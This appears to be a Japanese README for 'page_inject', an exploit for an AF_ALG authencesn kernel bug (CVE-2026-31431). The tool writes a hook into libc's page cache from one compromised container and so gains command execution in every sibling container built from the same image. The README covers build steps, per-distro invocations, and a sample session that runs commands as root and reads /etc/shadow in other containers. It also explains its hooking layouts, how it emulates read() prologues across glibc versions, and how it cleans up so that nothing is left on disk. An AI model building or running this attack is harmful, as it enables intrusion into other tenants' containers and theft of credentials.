
CVE-2026-31431-killed ページキャッシュエクスプロイト — 同じイメージレイヤーを共有するコンテナへのコード実行
AF_ALG aead 脆弱性を利用したクロスコンテナエクスプロイト -- 侵害済みの1つのコンテナから、同じ libc.so.6 イメージレイヤーを共有するすべての兄弟コンテナへピボットします。
これはエスケーププリミティブです。攻撃者がすでに侵害した非特権コンテナの内部から実行され、AF_ALG authencesn の ESN ローテーションによる4バイト任意書き込みバグ(CVE-2026-31431)を利用して、libc.so.6 のページキャッシュページに永続的な read() フックを仕込みます。Docker / containerd は overlayfs の下層レイヤーファイルを共有 inode で裏打ちしているため、これらのページは同じイメージから生成されたすべての兄弟コンテナから見えます。フックはそれらのプロセスでも発動し、攻撃者は各コンテナ内でコマンド実行を得ます。
victim と同じイメージから他のコンテナ(siblings)を実行しているホスト上の単一のコンテナ(victim と呼ぶ)へのシェルアクセスを持っています。victim はデフォルトの Docker/k8s 構成で実行されます:コンテナのユーザー名前空間内の非特権 uid、デフォルトの seccomp プロファイル、デフォルトの AppArmor プロファイル、特別なケーパビリティなし、ホストのバインドマウントなし。victim が持つのは以下のみ:
/usr/lib/x86_64-linux-gnu/libc.so.6 またはディストリビューションがインストールした場所)socket(AF_ALG, ...) システムコール群splice / vmsplice システムコールchmod +x できるディレクトリへの書き込みアクセス(例:/tmp)algif_aead + authencesn ビルド)。以上です。特別な CAP_* も、ホストのファイルシステムへのアクセスも不要です。攻撃者は自己完結型の静的リンクバイナリをコンテナ内に配置して実行するだけで、ページキャッシュの破壊 -- つまりフック -- がすべての兄弟コンテナから見えるようになります。
ページキャッシュページの同一性。 overlayfs コンテナ内では、/usr/lib/.../libc.so.6 は下層イメージレイヤーの ext4 inode によって提供されます。同じイメージから起動されたすべてのコンテナはそのバッキング inode を共有し、カーネルのページキャッシュは基盤となる inode をキーとして管理されます -- overlay や名前空間ではなく。したがって、ページキャッシュページへの単一の4バイト書き込みは、そのページを mmap しているすべての兄弟コンテナのプロセスから見えます。
AF_ALG aead の脆弱性は、そのような1回の書き込みを多数の書き込みに変えます。 algif_aead はユーザー RX iovec を、splice された TX SGL の末尾の authsize バイトと連結します。そして authencesn の ESN ローテーションは、AAD の seq_high フィールドの4バイトを dst[assoclen + cryptlen] に置きます -- これは連結された外部テールの最初のバイトです。splice されたページは、攻撃者が読み取りアクセスしか持たないファイルのページキャッシュページですが、暗号はダーティ管理なしでそこにバイトをコピーします。(基礎となる仕組みについては crypto/algif_aead.c と crypto/authencesn.c を参照。)
呼び出し可能なプリミティブのブートストラップ。 page_inject が最初に行うのはゾーン A のブートストラップです -- libc の .text ケーブ内に配置される、同じ AF_ALG の操作手順を asm で再実装したもの(write_cache.asm)。これにより、4バイト書き込みは将来の任意のフックペイロード内部からの通常の となり、呼び出しごとのソケットセットアップは不要になります。
インジェクタは victim コンテナの外部 -- 通常は攻撃者自身の開発マシン -- でビルドされます。ほとんどの本番コンテナイメージにはコンパイラが含まれていないためです。gcc(-static リンクサポート付き)と nasm がある標準的な Linux x86_64 開発環境で十分です。
make # assembles .asm sources via gen_arrays.sh, links static page_inject
make shellcode # also produces inspectable .bin flat binaries
make clean # removes generated files and the binary
出力は、最新の x86_64 Linux カーネルで動作する単一の静的リンク ELF(./page_inject)です。
攻撃者が victim でシェルを取得したら、バイナリを書き込み可能なディレクトリ(通常は /tmp)にアップロードします:
# inside the compromised container, attacker session
victim$ ./page_inject
引数なしの場合、page_inject は /usr/lib/x86_64-linux-gnu/libc.so.6(統合後の Debian/Ubuntu の場所)をデフォルトとします。他のディストリビューションでは libc は別のパスにあります。明示的に指定するか、--root / を使用してコンテナのルートから組み込みの検索テーブルをスキャンしてください:
# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6
# Arch
victim$ ./page_inject /usr/lib/libc.so.6
# Auto-detect, regardless of distro:
victim$ ./page_inject --root /
どちらの呼び出しも同じことを行います:コンテナ内の libc を ELF パースし、そのページキャッシュにフックをインストールし、兄弟コンテナが登録する間スロットテーブルを約30秒間監視し、健全性チェックとして最初に登録した兄弟コンテナに対して一度だけ id を実行します。
ブートストラップ後、コマンドシェルに入って登録済みの任意の兄弟コンテナを操作できます:
victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
[0] 0x0018598d <- target
[1] 0x001859ab
[2] 0x001859cd
inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...
unhook はすべての兄弟コンテナからフックを一括で除去し、フック子プロセスを自己終了させます。
Usage: page_inject [OPTIONS] [LIBC_PATH]
Options:
--root <prefix> Auto-resolve libc.so.6 under <prefix> using the
built-in fixed-path lookup table. Inside the
victim container that's normally --root / .
--shell [0xKEY] Drop into interactive command shell after
injection. Optional KEY pre-selects the target.
--no-bootstrap Skip injection (shell-only; hook must already
be live in the page cache).
--timeout SEC Slot monitoring timeout in --shell mode
(default 30 s).
--help, -h Show help.
Default libc (when no --root and no LIBC_PATH given):
/usr/lib/x86_64-linux-gnu/libc.so.6
glibc のビルドによって、実行可能 LOAD セグメントと次の読み取り専用 LOAD の間の .text ケーブ空間の量は異なります。page_inject はインジェクション時に2つのレイアウトを選択します:
パス A -- libc のみ(デフォルト)。 ゾーン C とゾーン A の両方が libc の .text ケーブ内に配置されます。スロットテーブル + CMD + OUTPUT 領域は libc の .hash セクション内に配置されます -- ld.so が実行時に読まないレガシーな SysV ハッシュデータです(代わりに .gnu.hash を使用するため)。.hash がない場合(Arch のモダンなツールチェーン)、page_inject は代わりに .eh_frame_hdr の末尾からスロット領域を切り出します。まず fde_count フィールドを縮小して、アンワインダが解放されたバイトを FDE バイナリ検索インデックスの一部と見なさないようにします(アンワインダは、切り詰められた範囲内に FDE があった IP に対して透過的に .eh_frame の線形スキャンにフォールバックします -- LSB で定められた動作)。
パス B -- libc トランポリン + ld.so ペイロード。 一部の glibc ビルドでは、libc のケーブが完全なゾーン C + ゾーン A ペイロードに必要なサイズより小さくなります(Ubuntu 24.04 / glibc 2.39 は 711 B のケーブを提供します)。その場合、page_inject は 36 B のトランポリンを libc のケーブに書き込みます -- これは libc 内で高速パスの .bss キーゲートを処理します -- そして低速パスでは、libc の GOT スロットから _rtld_global(すべての glibc がプライベートにインポートする ld.so 側のシンボル)の ld.so の実行時ベースを計算し、ld.so の .text ケーブ内にあるゾーン C のベースレジスタ変種にジャンプします。スロットテーブル + CMD + OUTPUT + キーはすべて libc に残ります。ld.so 側のゾーン C は、トランポリンが をシードした後、 を通じてそれらに到達します。
どちらのレイアウトも適合しない場合、page_inject はディスク上またはページキャッシュ内の libc や ld.so に何も書き込まずに、きれいに拒否します。
read() プロローグ処理glibc のバージョンによって、read() の先頭シーケンスは異なります。インジェクタはそれぞれを認識し、フックが置き換えるバイトを読み戻して、ゾーン C の高速パスでエミュレートするため、シングルスレッドの read() は read+N で正しく再開されます:
ゾーン C の高速パスエミュレーションスロットは、既知の最長プロローグ(8バイト)に5バイトの rel32 ジャンプを加えたサイズに設定されます。より短いプロローグは、スロット末尾のバイトを NOP フィラーで埋めて、スロットの全長を一定に保ちます。
page_inject/
page_inject.c Main injector: ELF parsing, vuln primitive,
dual-path layout selection, inject + unhook.
zone_c.asm Path-A hook dispatcher shellcode.
zone_c_ld.asm Path-B hook dispatcher (rbp-base variant).
trampoline.asm Path-B 36-byte libc-side stub.
write_cache.asm Zone A (vuln write primitive shellcode).
gen_arrays.sh Assemble .asm -> asm_bytecode.c.
asm_bytecode.c [generated] shellcode byte arrays.
Makefile Build system.
このエクスプロイトは、以下のコンテナディストリビューションでエンドツーエンドで検証されています。各エントリで、1つのコンテナ内部から page_inject が注入され、同じイメージから起動された兄弟コンテナでフックが発動することが確認されました。コマンドはページキャッシュチャネル経由で正しく実行され、unhook は libc のページ状態をきれいに復元しました。
page_inject は意図的に静的リンクされており、攻撃者自身のプロセスは、インストールするフックの影響を受けません。page_inject は「フック済み」の libc(read() のプロローグに E9 + nops がある状態)を認識し、再インジェクションを拒否します。テスト環境でページキャッシュがその状態で固まっている場合は、そのイメージを使用しているすべてのコンテナを停止し、drop_caches でリセットしてください。callフックのインストール。 次にインジェクタはゾーン C(zone_c.asm)を libc の .text ケーブに書き込み、read() の最初の7〜12バイトを、そこへの E9 disp32 ジャンプでパッチします。プロローグの退避されたバイトはゾーン C の高速パスで忠実にエミュレートされます(3種類の glibc プロローグが認識されます -- 以下の「プロローグ処理」を参照)。これでフックは libc のページキャッシュ内で有効になります。
フックの伝播。 すべての兄弟コンテナは read() を常時呼び出すプロセスを実行しています(ロギングデーモン、ヘルスチェック、cat /etc/hostname、その他何でも)。兄弟コンテナ内での最初のそのような呼び出しで、乗っ取られたプロローグはゾーン C にジャンプし、そこで以下の処理が行われます:
stat("/") で取得し(名前空間ごとの安定した ID)、それをコンテナのスロットキーとして使用、fork() する、read()+N に戻るため、呼び出し元は何も気づかない。
元の兄弟プロセスはそのまま実行を続けます。この時点から、攻撃者はそのコンテナ内にデーモンを持つことになります。コマンドチャネル。 攻撃者は同じ page_inject バイナリを --shell モードで使用して、スロット領域の CMD 領域にコマンドを書き込みます。登録された各兄弟コンテナのフック子プロセスはポーリングし、/bin/sh -c <cmd> を fork して、stdout/stderr を OUTPUT 領域に取り込み、完了を通知して、再びポーリングに戻ります。シェルは出力を表示します。すべての CMD/OUTPUT 書き込みも脆弱性プリミティブを経由するため、特別な権限は不要です。
フックの解除。 完了したら、unhook は read() の元のプロローグバイトを復元し、スロットテーブルをゼロで埋めます。フック子プロセスは次の反復で空のスロットを確認し、自己終了します。ページキャッシュの変更自体はクリーンです(カーネルは変更されたページをダーティとマークしないため)。libc を mmap しているすべてのコンテナが停止すれば、drop_caches によってキャッシュは完全に元に戻り -- ディスク上の痕跡は残りません。
.bssrbp = libc_baserbp + offset| glibc の範囲 | プロローグ(オプションの endbr64 の後) | 備考 |
|---|
| 2.36 / 2.39 | cmpb $0x0, __libc_single_threaded(%rip) | 7 バイト。エミュレートされた cmpb は元の jne .Lthreaded 用に ZF を設定します。 |
| 2.43 | push rbp; movsxd rdi,edi; xor r9d,r9d | 7 バイト。バイト単位でエミュレート。 |
| 2.31 / 2.35 | mov eax, fs:[0x18] | 8 バイト。バイト単位でエミュレート(FS プレフィックス付き [disp32] は RIP 相対ではなく絶対アドレスなので、バイトコピーは忠実です)。 |
| イメージ | glibc | インジェクションパス | Read() プロローグ | スロット領域 |
|---|
debian:bookworm | 2.36 | A | cmpb | .hash |
ubuntu:24.04 | 2.39 | B | cmpb | .hash(libc 側、ld.so から rbp 経由でアドレス指定) |
ubuntu:22.04 | 2.35 | A | TLS-fs | .hash |
fedora:40 | 2.39 | A | cmpb | .hash |
archlinux:latest | 2.43 | A | push-rbp | .eh_frame_hdr(末尾切り詰め) |